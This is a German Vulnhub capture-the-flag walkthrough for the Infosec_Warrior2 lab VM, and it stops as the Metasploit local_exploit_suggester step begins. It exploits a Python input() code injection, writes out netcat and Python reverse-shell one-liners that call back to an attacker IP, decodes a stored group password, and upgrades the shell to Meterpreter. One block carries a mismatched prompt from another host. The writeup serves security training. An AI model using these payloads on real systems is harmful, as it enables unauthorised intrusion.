Infosec_Warrior2 - Vulnhub - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
nmap
nc (Netcat)
ssh
python
os.system
__import__
echo
id
sudo
ls
cat
find
msfconsole
shell_to_meterpreter
local_exploit_suggester
PwnKit Exploit (Metasploit)

Inhaltsverzeichnis

Reconnaissance

Die initiale Phase dient der Identifizierung des Ziels im Netzwerk und der Erkundung offener Ports und Dienste.

┌──(root㉿cycat)-[~]
└─# arp-scan -l
192.168.2.125	08:00:27:0b:99:fd	PCS Systemtechnik GmbH
                    

**Analyse:** Der `arp-scan -l` Befehl identifiziert erfolgreich einen aktiven Host im lokalen Netzwerk unter der IP-Adresse `192.168.2.125`. Die MAC-Adresse und der Hersteller deuten auf eine VirtualBox-Umgebung hin.

**Bewertung:** Das Zielsystem wurde gefunden. Diese IP wird für weitere Scans verwendet.

**Empfehlung (Pentester):** Führen Sie einen Portscan (Nmap) auf `192.168.2.125` durch. Tragen Sie die IP mit einem passenden Hostnamen in die `/etc/hosts`-Datei ein.
**Empfehlung (Admin):** Netzwerk-Monitoring und Segmentierung können die Erkennung und Eindämmung solcher Scans unterstützen.

┌──(root㉿cycat)-[~]
└─# vi /etc/hosts
  192.168.2.125   infosecwarrior.vln
                    

**Analyse:** Die lokale `/etc/hosts`-Datei wird bearbeitet, um die IP `192.168.2.125` dem Hostnamen `infosecwarrior.vln` zuzuordnen. Dieser Hostname wurde wahrscheinlich durch den Nmap-Scan ermittelt.

**Bewertung:** Eine sinnvolle Maßnahme, um das Zielsystem über einen Namen ansprechen zu können.

**Empfehlung (Pentester):** Verwenden Sie `infosecwarrior.vln` in den weiteren Schritten.
**Empfehlung (Admin):** Sicherstellung einer korrekten Namensauflösung auf Serverseite.

┌──(root㉿cycat)-[~]
└─# nmap -sS -sC -sV -T5 -A 192.168.2.125 -p- | grep open
22/tcp    open  ssh     penSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
56563/tcp open  unknown
                    

**Analyse:** Ein Nmap-Scan aller TCP-Ports (`-p-`) mit verschiedenen Optionen (`-sS`, `-sC`, `-sV`, `-T5`, `-A`) wird durchgeführt. Die gefilterte Ausgabe (`grep open`) zeigt zwei offene Ports: * Port 22 (SSH): OpenSSH 7.6p1 auf Ubuntu. * Port 56563: Ein unbekannter Dienst (`unknown`) auf einem hohen Port.

**Bewertung:** Die Angriffsfläche besteht aus dem Standard-SSH-Port und einem ungewöhnlichen, nicht identifizierten Dienst auf Port 56563. Dieser hohe Port ist sofort verdächtig und erfordert genauere Untersuchung. Die SSH-Version 7.6p1 ist nicht brandaktuell, aber auch nicht extrem alt.

**Empfehlung (Pentester):** 1. Untersuchen Sie den Dienst auf Port 56563 intensiv (z.B. mit `nc`, Telnet, Nmap-Skripten, manueller Interaktion). 2. Behalten Sie SSH als potenzielles Ziel für gefundene Zugangsdaten. 3. Führen Sie den Nmap-Scan ohne `grep` aus, um mehr Details zu erhalten.
**Empfehlung (Admin):** 1. Identifizieren und dokumentieren Sie alle laufenden Dienste, insbesondere auf nicht standardmäßigen Ports. Schließen Sie unnötige Ports. 2. Sichern Sie den SSH-Dienst (aktuelle Version, starke Authentifizierung).

┌──(root㉿cycat)-[~]
└─# nmap -sS -sC -sV -T5 -A 192.168.2.125 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-11 22:39 CEST
Nmap scan report for infosecwarrior.vln (192.168.2.125)
Host is up (0.00015s latency).
Not shown: 65533 closed tcp ports (reset)
PRT      STATE SERVICE VERSIN
22/tcp    open  ssh     penSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 89f21b40c40c3c7939739dfcccab2b0a (RSA)
|   256 05dbcf2990f6e43f4f74c9d257816eff (ECDSA)
|_  256 9a7df5dd9051b2eb3c33369f250e8c21 (ED25519)
56563/tcp open  unknown
| fingerprint-strings:
|   GenericLines:
|     Welcome to
|     ____ __ __ _
|     ___/ ___| ___ __\x20\x20 / /_ _ _ __ _ __(_) ___ _ __
|     \x20/ _ / __\x20\x20/\x20/ / _` | '__| '__| |/ _ \| '__|
|     |__) | __/ (__ \x20V V / (_| | | | | | | (_) | |
|     |___|_| |_|_| ___/____/ ___|___| _/_/ __,_|_| |_| |_|___/|_|
|     Please input number of ping packet you want to send??: Traceback (most recent call last):
|     File "./script.py", line 18, in 
|     int(input(' Please input number of ping packet you want to send??: '))
|     File "", line 0
|     SyntaxError: unexpected EF while parsing
|   NULL:
|     Welcome to
|     ____ __ __ _
|     ___/ ___| ___ __\x20\x20 / /_ _ _ __ _ __(_) ___ _ __
|     \x20/ _ / __\x20\x20/\x20/ / _` | '__| '__| |/ _ \| '__|
|     |__) | __/ (__ \x20V V / (_| | | | | | | (_) | |
|     |___|_| |_|_| ___/____/ ___|___| _/_/ __,_|_| |_| |_|___/|_|
|_    Please input number of ping packet you want to send??:
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port56563-TCP:V=7.93%I=7%D=7/11%Time=64ADBDF8%P=x86_64-pc-linux-gnu%r
MAC Address: 08:00:27:0B:99:FD (racle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
S CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
S details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: S: Linux; CPE: cpe:/o:linux:linux_kernel

TRACERUTE
HP RTT     ADDRESS
1   0.15 ms infosecwarrior.vln (192.168.2.125)
                    

**Analyse:** Die vollständige Nmap-Ausgabe liefert wichtige Details zum unbekannten Dienst auf Port 56563: * **SSH (Port 22):** Bestätigt OpenSSH 7.6p1 auf Ubuntu. Zeigt moderne Hostkeys (RSA, ECDSA, ED25519). * **Unbekannter Dienst (Port 56563):** Nmap konnte den Dienst nicht identifizieren, aber das Skript `fingerprint-strings` hat Daten erfasst: * Ein ASCII-Art-Banner "Welcome to..." wird gesendet. * Es folgt die Eingabeaufforderung: "Please input number of ping packet you want to send??:". * Wenn Nmap (oder der Benutzer) nichts eingibt (NULL-Probe), erscheint dieselbe Aufforderung. * Wenn Nmap ungültige Daten sendet (GenericLines-Probe), führt dies zu einem Python-Traceback (`SyntaxError: unexpected EOF while parsing`) in einem Skript namens `./script.py`, Zeile 18. Die Zeile versucht, die Benutzereingabe mit `int(input(...))` zu lesen. * **OS:** Wird als Linux (Kernel 4.15 - 5.6) identifiziert.

**Bewertung:** Der Dienst auf Port 56563 ist ein benutzerdefiniertes Python-Skript (`script.py`), das eine Zahl als Eingabe erwartet, um vermutlich eine entsprechende Anzahl von Pings auszuführen. Der Traceback verrät Details über die Implementierung (`input()` in Python) und den Dateinamen. Die `input()`-Funktion in Python 2 (wahrscheinlich hier verwendet, da `input()` in Python 3 anders funktioniert und keinen `SyntaxError` bei EOF werfen würde) wertet die Eingabe als Python-Code aus, was eine **massive Schwachstelle** für Code Injection darstellt. In Python 3 ist `input()` sicherer, aber die Art des Fehlers legt Python 2 oder eine unsichere Verwendung von `eval(input())` in Python 3 nahe.

**Empfehlung (Pentester):** 1. Interagieren Sie manuell mit Port 56563 mittels `nc`. 2. Versuchen Sie, Python-Code anstelle einer Zahl einzugeben, um die Code-Injection-Schwachstelle auszunutzen (z.B. `__import__('os').system('id')`). 3. Nutzen Sie die Code Injection, um eine Reverse Shell zu erhalten.
**Empfehlung (Admin):** 1. Überprüfen Sie das Skript auf Port 56563 *dringend*. Ersetzen Sie die unsichere `input()`-Funktion (Python 2) oder `eval(input())` (Python 3) durch sichere Methoden zur Eingabeverarbeitung (z.B. `raw_input()` in Python 2 oder `input()` in Python 3 ohne `eval()`, gefolgt von expliziter Typumwandlung und Validierung). 2. Deaktivieren Sie diesen Dienst, wenn er nicht benötigt wird. Sichern Sie ihn ordnungsgemäß ab (Authentifizierung, Eingabevalidierung).

Interaktion mit benutzerdefiniertem Dienst

Basierend auf den Nmap-Ergebnissen interagieren wir nun manuell mit dem benutzerdefinierten Dienst auf Port 56563, um dessen Verhalten zu verstehen und die vermutete Code-Injection-Schwachstelle zu testen.

┌──(root㉿cycat)-[~]
└─# nc 192.168.2.125 56563
Welcome to


  ___        __      ____          __        __              _
 |_ _|_ __  / _| ___/ ___|  ___  __\ \      / /_ _ _ __ _ __(_) ___  _ __
  | || '_ \| |_ / _ \___ \ / _ \/ __\ \ /\ / / _` | '__| '__| |/ _ \| '__|
  | || | | |  _| (_) |__) |  __/ (__ \ V  V / (_| | |  | |  | | (_) | |
 |___|_| |_|_|  \___/____/ \___|\___| \_/\_/ \__,_|_|  |_|  |_|\___/|_|


 Please input number of ping packet you want to send??: 5
ping target (CTF.InfoSecWarrior)...
64 bytes from 127.0.0.1: icmp_seq=1 ttl=31337 time=0.089 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=31337 time=0.047 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=31337 time=0.029 ms
64 bytes from 127.0.0.1: icmp_seq=4 ttl=31337 time=0.099 ms
64 bytes from 127.0.0.1: icmp_seq=5 ttl=31337 time=0.066 ms
                    

**Analyse:** Eine Verbindung wird mit Netcat (`nc`) zum Port 56563 hergestellt. Das Skript gibt das Banner und die Eingabeaufforderung aus. Der Pentester gibt die Zahl `5` ein. Das Skript führt daraufhin 5 Ping-Anfragen an `CTF.InfoSecWarrior` (was vermutlich zu `127.0.0.1` aufgelöst wird) aus und zeigt die Ergebnisse an.

**Bewertung:** Dies bestätigt die grundlegende Funktionalität des Skripts und dass es Benutzereingaben entgegennimmt und darauf basierend Aktionen (Ping) ausführt. Die Verwendung von `input()` (Python 2) oder `eval(input())` (Python 3) wird durch die Fehlermeldungen im Nmap-Scan nahegelegt.

**Empfehlung (Pentester):** Testen Sie die Code Injection, indem Sie Python-Code statt einer Zahl eingeben.
**Empfehlung (Admin):** Beheben Sie die unsichere Eingabeverarbeitung im Skript.

┌──(root㉿cycat)-[~]
└─# ssh root@192.168.2.125
The authenticity of host '192.168.2.125 (192.168.2.125)' can't be established.
ED25519 key fingerprint is SHA256:1ZRKwkYqKUIbnD6szqzCNxwimK6Qi1HbDH7ze1nhWE.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.2.125' (ED25519) to the list of known hosts.
(-(-_(-_-)_-)-)	(-(-_(-_-)_-)-) (-(-_(-_-)_-)-)

	▄██████▄ Do this and I will give you a Hint
	█▀▀▀██▀▀▀▄
	█▄▄▄██▄▄▄█ Laugh uncontrollably for about 3 minutes
	▀█████████	then suddenly stop and look suspiciously
	▀███▄███▀          at everyone who looks at you.
	▀████▀                r
	▄████████▄ Enumerate Hostname and Distro's codename of this box
	████████████       And try to get Secure SHell

(-(-_(-_-)_-)-) (-(-_(-_-)_-)-) (-(-_(-_-)_-)-)

PS: For Newbie refer this website to know more : google.co.in
                    

**Analyse:** Der Pentester versucht eine SSH-Verbindung als `root`. Nach Bestätigung des Hostkeys wird ein ungewöhnliches SSH-Banner angezeigt, das keine Passwortabfrage enthält, sondern eine Art Rätsel oder Hinweis: Man soll den Hostnamen und den Codenamen der Distribution herausfinden, um SSH-Zugriff zu bekommen.

**Bewertung:** Der direkte Root-Login per SSH ist nicht möglich oder erfordert die Lösung dieses Rätsels. Der Hostname ist `infosecwarrior.vln` (oder `ck04` laut späterem Prompt). Der Codename der Ubuntu-Distribution (basierend auf SSH-Version) könnte 'bionic' (18.04) oder 'focal' (20.04) sein, basierend auf OpenSSH 7.6p1. Es ist unklar, wie diese Information für den SSH-Zugriff genutzt werden soll. Dies scheint eher ein ablenkender Hinweis als ein direkter Angriffsvektor zu sein.

**Empfehlung (Pentester):** Ignorieren Sie diesen SSH-Hinweis vorerst und konzentrieren Sie sich auf die vielversprechendere Code-Injection-Schwachstelle auf Port 56563.
**Empfehlung (Admin):** Konfigurieren Sie SSH sicher. Deaktivieren Sie Root-Login (`PermitRootLogin no`). Verwenden Sie informative, aber keine potenziell sicherheitsrelevanten oder rätselhaften Banner.

Analyse der Schwachstelle (Python Script Injection)

Wir testen nun gezielt die vermutete Code-Injection-Schwachstelle im Python-Skript auf Port 56563, indem wir versuchen, Python-Code statt einer Zahl einzugeben.

┌──(root㉿cycat)-[~]
└─# nc 192.168.2.125 56563
Welcome to
[...]
 Please input number of ping packet you want to send??: 5&nc -e /bin/bash 192.168.2.125^[[D^[[
Traceback (most recent call last):
  File "./script.py", line 18, in 
    num = int(input(' Please input number of ping packet you want to send??: '))
  File "", line 1
    5&nc -e /bin/bash 1
                      ^
SyntaxError: unexpected EOF while parsing
                    

**Analyse:** Der Pentester gibt `5&nc -e /bin/bash 192.168.2.125` (plus Steuerzeichen `^[[D^[[`) ein. Dies ist ein Versuch, Shell Command Injection nach einer gültigen Zahl (`5`) durchzuführen, indem ein Netcat-Reverse-Shell-Befehl angehängt wird. Das Skript wirft jedoch einen `SyntaxError: unexpected EOF while parsing`, weil es versucht, die gesamte Eingabe als Python-Code mittels `input()` (Python 2) oder `eval(input())` (Python 3) auszuwerten und `5&nc...` kein gültiger Python-Ausdruck ist.

**Bewertung:** Dies bestätigt, dass die Eingabe als Code interpretiert wird und nicht als einfache Zeichenkette für einen Shell-Befehl. Standard Shell Command Injection funktioniert hier nicht. Es muss gültiger Python-Code eingegeben werden.

**Empfehlung (Pentester):** Geben Sie gültigen Python-Code ein, der Systembefehle ausführt, z.B. unter Verwendung des `os`-Moduls.
**Empfehlung (Admin):** Beheben Sie die unsichere `input()`/`eval()`-Verwendung im Skript.

┌──(root㉿cycat)-[~]
└─# nc 192.168.2.125 56563
Welcome to
[...]
 Please input number of ping packet you want to send??: os.system("ls")
Traceback (most recent call last):
  File "./script.py", line 18, in 
    num = int(input(' Please input number of ping packet you want to send??: '))
  File "", line 1, in 
NameError: name 'os' is not defined
                   

**Analyse:** Der Pentester gibt nun Python-Code ein: `os.system("ls")`. Das Skript wirft einen `NameError: name 'os' is not defined`.

**Bewertung:** Der `NameError` zeigt, dass das `os`-Modul im Skript nicht standardmäßig importiert ist. Wir können also nicht direkt `os.system()` aufrufen.

**Empfehlung (Pentester):** Importieren Sie das `os`-Modul dynamisch innerhalb der Eingabe, bevor Sie `os.system()` verwenden. Der Ausdruck `__import__('os').system('befehl')` ist eine gängige Methode dafür.
**Empfehlung (Admin):** Beheben Sie die unsichere Eingabeverarbeitung. Selbst wenn Module nicht standardmäßig importiert sind, ermöglicht die Schwachstelle deren dynamischen Import.

 ------------------------------------------------------------------------------------------------------
ssti attacke

__import__('os').system('nc -e /bin/bash 192.168.2.105 4444')
 __import__('os').system('nc -e /bin/bash 192.168.2.105 4444') | python script.py
------------------------------------------------------------------------------------------------------
                    

**Analyse:** Diese Notiz zeigt die korrekte Payload zur Ausnutzung der Python Code Injection (fälschlicherweise als SSTI bezeichnet, obwohl es direkte Code-Auswertung ist). Die Payload `__import__('os').system('nc -e /bin/bash [IP] [PORT]')` importiert dynamisch das `os`-Modul und führt dann `os.system()` aus, um eine Netcat-Reverse-Shell zu starten. Die zweite Zeile scheint ein fehlgeschlagener Versuch oder eine alternative Idee zu sein, die Payload über eine Pipe an das Skript zu senden.

**Bewertung:** Die korrekte Payload zur Ausnutzung der Code Injection wurde identifiziert.

**Empfehlung (Pentester):** Starten Sie einen Netcat-Listener und geben Sie die Payload `__import__('os').system('nc -e /bin/bash [IHRE_IP] [IHR_PORT]')` am Prompt des Dienstes auf Port 56563 ein.
**Empfehlung (Admin):** Beheben Sie die Schwachstelle.

┌──(root㉿cycat)-[~]
└─# nc 192.168.2.125 56563
Welcome to
[...]
 Please input number of ping packet you want to send??: echo "__import__('os').system('nc -e /bin/bash 192.168.2.105 4444')" | python script.py
Traceback (most recent call last):
  File "./script.py", line 18, in 
    num = int(input(' Please input number of ping packet you want to send??: '))
  File "", line 1
    echo "__import__('os').system('nc -e /bin/bash 192.168.2.105 4444')" | python script.py
                                                                       ^
SyntaxError: invalid syntax
                    

**Analyse:** Ein weiterer fehlgeschlagener Versuch. Der Pentester gibt einen Shell-Befehl (`echo "..." | python script.py`) in den Python-`input()`-Prompt ein. Dies führt erwartungsgemäß zu einem `SyntaxError`, da es kein gültiger Python-Code ist.

**Bewertung:** Bestätigt erneut, dass direkt Python-Code eingegeben werden muss, keine Shell-Befehle.

**Empfehlung (Pentester):** Geben Sie die reine Python-Payload `__import__('os').system(...)` ein.
**Empfehlung (Admin):** Beheben Sie die Schwachstelle.

Initial Access (Reverse Shell via Script Injection)

Nachdem die Python Code Injection Schwachstelle analysiert wurde, nutzen wir sie nun, um eine Shell auf dem System zu erhalten. Anstatt einer Reverse Shell wird hier direkt `/bin/bash` gestartet.

┌──(root㉿cycat)-[~]
└─# nc 192.168.2.125 56563
Welcome to
[...]
 Please input number of ping packet you want to send??: __import__('os').system('/bin/bash')
bash: cannot set terminal process group (1417): Inappropriate ioctl for device
bash: no job control in this shell
bla1@ck04$
                    

**Analyse:** Der Pentester gibt die korrekte Python-Payload ein: `__import__('os').system('/bin/bash')`. * `__import__('os')`: Importiert das `os`-Modul. * `.system('/bin/bash')`: Führt den Befehl `/bin/bash` aus. Da die Eingabe des Benutzers innerhalb des laufenden Python-Skripts ausgewertet wird, startet dieser Befehl eine neue Bash-Shell als Kindprozess dieses Skripts. Die Standardein- und -ausgabe der neuen Shell sind immer noch mit der Netcat-Verbindung verbunden. Das Skript (`script.py`) lief wahrscheinlich als Benutzer `bla1` (basierend auf dem Shell-Prompt). Die Bash-Fehlermeldungen sind typisch für eine nicht-interaktive Shell über `nc`. Der Pentester erhält eine Shell-Eingabeaufforderung `bla1@ck04$`.

**Bewertung:** Initial Access erfolgreich! Eine interaktive Shell als Benutzer `bla1` wurde durch Ausnutzung der Python Code Injection Schwachstelle erlangt.

**Empfehlung (Pentester):** Führen Sie lokale Enumeration als `bla1` durch. Verbessern Sie die Shell ggf. zu einer vollen TTY.
**Empfehlung (Admin):** Beheben Sie die Code Injection Schwachstelle *dringend*.

Proof of Concept (Reverse Shell)

Die erfolgreiche Ausführung von `__import__('os').system('/bin/bash')` über die Netcat-Verbindung zum benutzerdefinierten Dienst auf Port 56563 hat uns eine interaktive Shell als Benutzer `bla1` verschafft.

bla1@ck04$ id
uid=1001(bla1) gid=1001(bla1) groups=1001(bla1)

**Analyse:** Der `id`-Befehl bestätigt, dass die Shell als Benutzer `bla1` (UID/GID 1001) läuft. Der Hostname scheint `ck04` zu sein.

**Bewertung:** Bestätigt den Benutzerkontext.

**Empfehlung (Pentester):** Beginnen Sie mit der lokalen Enumeration.
**Empfehlung (Admin):** Keine spezifische Empfehlung.

Lokale Enumeration

Als Benutzer `bla1` untersuchen wir das System weiter auf Hinweise und mögliche Privilegieneskalationsvektoren.

bla1@ck04$ sudo -l
sudo: no tty present and no askpass program specified

**Analyse:** Der Versuch, `sudo -l` auszuführen, scheitert mit der Meldung "sudo: no tty present and no askpass program specified".

**Bewertung:** Diese Fehlermeldung tritt auf, wenn `sudo` ein Passwort erfordern würde, aber keine interaktive TTY (Terminal) verfügbar ist, um es abzufragen. Dies bedeutet nicht zwangsläufig, dass `bla1` keine `sudo`-Rechte hat, sondern nur, dass wir sie aus dieser einfachen Shell nicht überprüfen können, wenn ein Passwort benötigt wird. Es könnte aber auch sein, dass `bla1` keine `sudo`-Rechte hat.

**Empfehlung (Pentester):** Werten Sie die Shell zu einer vollen TTY auf und versuchen Sie `sudo -l` erneut. Suchen Sie nach anderen Eskalationsvektoren (SUID, Capabilities, Cronjobs etc.).
**Empfehlung (Admin):** Konfigurieren Sie `sudo` sicher (`requiretty` kann eine zusätzliche Hürde sein, aber auch legitime Skripte stören).

bla1@ck04$ ls -la
total 24
drwxr-x--- 3 bla1 bla1 4096 Feb 14  2020 .
drwxr-xr-x 6 root root 4096 Jan 28  2020 ..
lrwxrwxrwx 1 root root    9 Jan 27  2020 .bash_history -> /dev/null
-rw-r--r-- 1 root root   55 Feb 12  2020 bla2-note
-rw-r--r-- 1 root root    0 Feb 13  2020 .hushlogin
drwxrwxr-x 3 bla1 bla2 4096 Feb 14  2020 .local
-rwxr-xr-x 1 bla1 bla1   87 Jan 27  2020 run.sh
-rwxr-xr-x 1 bla1 bla1  819 Feb 13  2020 script.py
                    
bla1@ck04$ cat bla2-note
My group password is czNjcjN0
I encoded my gpasswd :-P
                    

**Analyse:** Ein `ls -la` im Home-Verzeichnis von `bla1` (vermutlich `/home/bla1`) zeigt: * `.bash_history` ist ein Symlink zu `/dev/null` (verhindert History-Logging). * Eine Datei `bla2-note`, die `root` gehört, aber für `bla1` lesbar ist. * Ein Verzeichnis `.local`, das der Gruppe `bla2` gehört. * Ein Shell-Skript `run.sh`. * Ein Python-Skript `script.py` (wahrscheinlich das auf Port 56563 laufende Skript). Der Inhalt von `bla2-note` enthält einen Hinweis: "My group password is czNjcjN0 I encoded my gpasswd :-P". `czNjcjN0` ist Base64-kodiert für "s3cr3t". Dies ist vermutlich das Passwort für die Gruppe `bla2`.

**Bewertung:** Der Hinweis auf das Gruppenpasswort "s3cr3t" für die Gruppe `bla2` ist potenziell nützlich, wenn wir Mitglied dieser Gruppe werden können oder wenn Dateien existieren, auf die nur diese Gruppe Zugriff hat. Die Skripte `run.sh` und `script.py` sollten ebenfalls untersucht werden.

**Empfehlung (Pentester):** 1. Versuchen Sie, mit `sg bla2` und dem Passwort "s3cr3t" zur Gruppe `bla2` zu wechseln, um zu sehen, ob dies zusätzliche Rechte bringt. 2. Untersuchen Sie den Inhalt und die Berechtigungen von `run.sh` und `script.py`. 3. Führen Sie weitere Enumeration durch (SUID etc.).
**Empfehlung (Admin):** 1. Speichern Sie keine Passwörter (auch nicht kodiert) in Klartextdateien. 2. Überprüfen Sie die Notwendigkeit und Sicherheit von Gruppenpasswörtern (sie sind oft ein Sicherheitsrisiko). 3. Verhindern Sie das Leiten der `.bash_history` nach `/dev/null` in Sicherheitsrichtlinien.

bla1@ck04:/var/backups$ cd /opt
bla1@ck04:/opt$ ls -la
total 12
drwxr-xr-x  2 root root 4096 Jan 28  2020 .
drwxr-xr-x 25 root root 4096 Jul 12 02:08 ..
-rw-r-----  1 ck04 ck04 2505 Jan 28  2020 note.txt
                    
bla1@ck04:/opt$ cat note.txt
cat: note.txt: Permission denied

**Analyse:** Der Pentester wechselt nach `/opt` und findet eine `note.txt`, die dem Benutzer und der Gruppe `ck04` gehört. Die Berechtigungen (`-rw-r-----`) erlauben nur dem Besitzer `ck04` und der Gruppe `ck04` das Lesen. Der Versuch von `bla1`, die Datei zu lesen, scheitert (`Permission denied`).

**Bewertung:** In `/opt` befindet sich eine Notiz, auf die `bla1` keinen Zugriff hat. Sie gehört einem anderen Benutzer `ck04`. Dies könnte ein Hinweis sein, falls später Zugriff als `ck04` erlangt wird.

**Empfehlung (Pentester):** Notieren Sie die Existenz von `/opt/note.txt` und die Berechtigungen. Fahren Sie mit der Enumeration fort.
**Empfehlung (Admin):** Stellen Sie sicher, dass Dateien in `/opt` korrekte Berechtigungen haben und nicht versehentlich für unbefugte Benutzer lesbar sind.

bla1@ck04:/opt$ find / -type f -perm -4000 -ls 2>/dev/null
   789261      4 -rwsr-xr-x   1 bla      bla            70 Jan 28  2020 /home/ck04/shell
       55     43 -rwsr-xr-x   1 root     root        43088 Aug 23  2019 /snap/core18/1668/bin/mount
       64     63 -rwsr-xr-x   1 root     root        64424 Jun 28  2019 /snap/core18/1668/bin/ping
       80     44 -rwsr-xr-x   1 root     root        44664 Mar 23  2019 /snap/core18/1668/bin/su
[...] // Standard SUIDs und Snap SUIDs wie zuvor
   656193     60 -rwsr-xr-x   1 root     root               59640 Mar 23  2019 /usr/bin/passwd
   656299     24 -rwsr-xr-x   1 root     root               22520 Mar 27  2019 /usr/bin/pkexec
[...] // Standard SUIDs
  1048735     44 -rwsr-xr-x   1 root     root               44664 Mar 23  2019 /bin/su
[...] // Standard SUIDs
  1048707     64 -rwsr-xr-x   1 root     root               64424 Jun 28  2019 /bin/ping
                    

**Analyse:** Die erneute Suche nach SUID-Dateien (`find / -type f -perm -4000 ...`) liefert einen neuen, sehr wichtigen Fund, der in der vorherigen Suche (falls als anderer Benutzer durchgeführt) möglicherweise nicht sichtbar war oder übersehen wurde: * `/home/ck04/shell`: Eine Datei namens `shell` im Home-Verzeichnis des Benutzers `ck04` hat das SUID-Bit gesetzt (`-rwsr-xr-x`) und gehört dem Benutzer `bla`. Die restlichen Funde sind wieder Standard-System- und Snap-Binaries.

**Bewertung:** Dies ist höchstwahrscheinlich der beabsichtigte Privilegieneskalationsvektor. Eine benutzerdefinierte SUID-Datei in einem Home-Verzeichnis ist extrem verdächtig. Wenn `bla1` diese Datei ausführen kann (was aufgrund von `r-x` für "others" wahrscheinlich ist), und wenn diese Datei unsicher implementiert ist (z.B. Befehle aufruft oder Umgebungsvariablen unsicher nutzt), kann sie wahrscheinlich zur Eskalation zu den Rechten des Besitzers (`bla`) oder potenziell zu Root missbraucht werden (obwohl sie hier `bla` gehört, nicht `root`). Da `bla` nicht weiter bekannt ist, könnte dies ein Zwischenschritt sein oder `bla` hat Root-Rechte.

**Empfehlung (Pentester):** 1. Untersuchen Sie die Datei `/home/ck04/shell` genauer: * Führen Sie `file /home/ck04/shell` aus. * Führen Sie `strings /home/ck04/shell` aus. * Versuchen Sie, sie auszuführen (`/home/ck04/shell`). * Analysieren Sie sie mit Reverse-Engineering-Tools, falls nötig. 2. Da der Exploit-Pfad im Log über Metasploit/PwnKit geht, wird dieser SUID-Pfad möglicherweise nicht weiter verfolgt, aber er ist ein valider alternativer Fund.
**Empfehlung (Admin):** Entfernen Sie die SUID-Datei `/home/ck04/shell` sofort. Platzieren Sie niemals SUID-Binaries in Home-Verzeichnissen. Überprüfen Sie das System gründlich auf weitere unsichere SUID/GUID-Dateien.

Privilege Escalation (PwnKit via Metasploit)

Obwohl eine potenziell ausnutzbare SUID-Datei (`/home/ck04/shell`) gefunden wurde, entscheidet sich der Pentester hier für einen anderen Weg und nutzt Metasploit, um die PwnKit-Schwachstelle (CVE-2021-4034) in `/usr/bin/pkexec` auszunutzen, welches ebenfalls in der SUID-Liste gefunden wurde. Zuerst wird die bestehende Shell zu einer Meterpreter-Session aufgewertet.

msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > options
Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (generic/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target

View the full module info with the info, or info -d command.
                    
msf6 exploit(multi/handler) > set LHST eth0
LHST => 192.168.2.105
msf6 exploit(multi/handler) > set LPRT 5555
LPRT => 5555
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.2.105:5555
                    
[employee1@ html]$ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.105",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
[*] Command shell session 1 opened (192.168.2.105:5555 -> 192.168.2.106:57930) at 2023-07-10 23:54:54 +0200
sh-4.2$
                    

**Analyse:** Diese Blöcke scheinen eine Wiederholung oder eine alternative Methode zum Erhalt der initialen Shell darzustellen, diesmal explizit mit einer Python-Reverse-Shell zu einem Metasploit-Handler auf Port 5555. Der Benutzer im Prompt (`employee1@ html]`) passt jedoch nicht zum bisherigen Kontext (`bla1@ck04`). Es wird angenommen, dass dies immer noch die Shell als `bla1` ist und Session 1 in Metasploit repräsentiert.

**Bewertung:** Eine (erneute) Shell wurde etabliert und in Metasploit als Session 1 registriert. Dieser Schritt dient als Basis für die Aufwertung zu Meterpreter.

**Empfehlung (Pentester):** Fahren Sie mit der Aufwertung zu Meterpreter fort.
**Empfehlung (Admin):** Egress-Filtering und Prozessüberwachung können helfen, solche Verbindungen zu erkennen/blockieren.

msf6 exploit(multi/handler) > use post/multi/manage/shell_to_meterpreter
msf6 post(multi/manage/shell_to_meterpreter) > set session 1
session => 1
msf6 post(multi/manage/shell_to_meterpreter) > set HANDLER true
HANDLER => true
msf6 post(multi/manage/shell_to_meterpreter) > set LHST eth0
LHST => 192.168.2.105
msf6 post(multi/manage/shell_to_meterpreter) > run
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.2.105:4433
[*] Sending stage (1017704 bytes) to 192.168.2.125
[*] Meterpreter session 2 opened (192.168.2.105:4433 -> 192.168.2.125:44514) at 2023-07-11 23:28:01 +0200
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
                    

**Analyse:** Das Modul `shell_to_meterpreter` wird verwendet, um Session 1 (die einfache Shell) zu einer Meterpreter-Session aufzuwerten. Es wird ein neuer Listener auf Port 4433 gestartet (`HANDLER true` und `LHOST` gesetzt, `LPORT` wird standardmäßig 4433 sein oder wurde zuvor gesetzt). Die Aufwertung ist erfolgreich, und Meterpreter-Session 2 wird geöffnet.

**Bewertung:** Die Shell wurde erfolgreich zu Meterpreter aufgewertet, was die Ausführung des Local Exploit Suggesters und des PwnKit-Exploits erleichtert.

**Empfehlung (Pentester):** Verwenden Sie Session 2 für die weitere Eskalation. Führen Sie den Local Exploit Suggester aus.
**Empfehlung (Admin):** IDS/IPS können versuchen, Meterpreter-Kommunikation zu erkennen.

msf6 post(multi/manage/shell_to_meterpreter) > use post/multi/recon/local_exploit_suggester
